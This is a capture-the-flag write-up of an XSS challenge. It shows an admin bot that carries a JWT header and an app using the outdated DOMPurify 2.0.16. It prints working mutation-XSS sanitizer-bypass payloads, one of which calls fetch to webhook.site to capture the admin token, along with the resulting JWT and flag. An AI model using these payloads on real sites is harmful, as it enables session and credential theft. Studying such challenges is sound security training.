eXample Sending Service

Disclaimer: We did not solve the challenge but we were like 3 micrometers away from solving it

As part of Halogen’s cybersecurity exam, Blahaj has to get the flag only accessible by the administrator. But Blahaj cannot even type with his flippers, help him pass!

This is another XSS Challenge where you send a message and the admin bot reads the message and sets a header that contains the admin jwt, which can be used to access /flag:

admin.js
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// Just your typical admin bot that reads the message
async function notify(msg) {
    // Launch the browser and open a new blank page
    const browser = await puppeteer.launch({
        args: [
            '--no-sandbox',
            '--disable-setuid-sandbox'
        ]
    });
    const page = await browser.newPage();

    // Navigate the page to a URL
    page.setExtraHTTPHeaders({
        'Authorization': 'Bearer ' + jwt.sign({
            message: msg,
            username: "admin"
        }, flag)
    });
    await page.goto('http://localhost:3000/read');
}

This XSS, however, requires a DOMPurify CVE:

app.js
36
37
38
39
40
const message = {
    name: DOMPurify.sanitize(req.body['name']),
    title: DOMPurify.sanitize(req.body['title']),
    body: DOMPurify.sanitize(req.body['message']),
}

DOMPurify CVE Links:

This is because in the package.json, dompurify is only v2.0.16

package.json
11
12
"dependencies": {
  "dompurify": "^2.0.16",

So we can construct an XSS payload that works locally!

<math><mtext><table><mglyph><style><!--</style><img title="--&gt;&lt;/mglyph&gt;&lt;img&Tab;src=1&Tab;onerror=alert(1)&gt;">

This would be enough to solve the challenge. However I am dumb:

When I tried testing around some javascript to xss into my https://webhook.site, I realized some of them was being caught by DOMPurify. So I decided to use JSFuck to encode my payload, but while my XSS worked locally, it did not work on the admin, which lead me to spend most of time searching for how to circumvent this “check”. However, it turns out that it was probably because my payload of jsfuck was just too big, so none of the payloads worked. If I did not encrypt my payload into JSFuck and just did something like:

<math><mtext><table><mglyph><style><!--</style><img title="--&gt;&lt;/mglyph&gt;&lt;img&Tab;src=1&Tab;onerror=fetch('https://webhook.site')&gt;">

I would have received the admin jwt:

Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJtZXNzYWdlIjp7Im5hbWUiOiJhIiwidGl0bGUiOiJhIiwiYm9keSI6IjxtYXRoPjxtdGV4dD48bWdseXBoPjxzdHlsZT48IS0tPC9zdHlsZT48aW1nIHRpdGxlPVwiLS0-PC9tZ2x5cGg-PGltZ1x0c3JjPTFcdG9uZXJyb3I9ZmV0Y2goJ2h0dHBzOi8vd2ViaG9vay5zaXRlL2Q3ZWU3ODZhLTgwODQtNDM3Ny05OGFiLWZkZDU1MmFiMmQ0ZicpPlwiPlxuPC9tZ2x5cGg-PHRhYmxlPjwvdGFibGU-PC9tdGV4dD48L21hdGg-In0sInVzZXJuYW1lIjoiYWRtaW4iLCJpYXQiOjE3MDE3NjA0MzR9.VZl-aNmRsB4bEPIvdffdS6Rl9DcxLWYkLT5ZORvGAvg 

and could have gone on to get the flag: blahaj{d1d_y0u_f0rg0r_t0_upd4t3?}